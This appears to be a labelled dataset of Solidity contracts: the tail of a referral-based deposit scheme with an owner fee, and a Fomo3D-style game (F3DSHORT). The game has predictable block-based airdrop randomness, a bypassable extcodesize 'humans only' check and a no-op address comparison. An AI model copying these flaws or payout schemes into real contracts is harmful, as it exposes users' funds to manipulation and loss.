processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
checkLimits(moneyValue);
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
(!isUnlimitedContractInvest && moneyValue > getCurrentMaximalDeposit()) ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (!isUnlimitedDayInvest && moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
user[referrer].countReferrals++;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
address r = referrer;
for (uint i = 0; i < bonusReferrer.length && r != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[r].referrer;
emit LogCalcBonusReferrer(r, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(r, amountReferrer);
r = nextReferrer;
}
}
function checkLimits(uint value) private
{
if (totalInvest + value > unlimitedInvest)
{
isUnlimitedContractInvest = true;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit > maximalDepositFinish)
{
isUnlimitedDayInvest = true;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[1] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 1 | 3,104 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 8 minutes;
uint256 constant private rndInit_ = 42 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 40 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
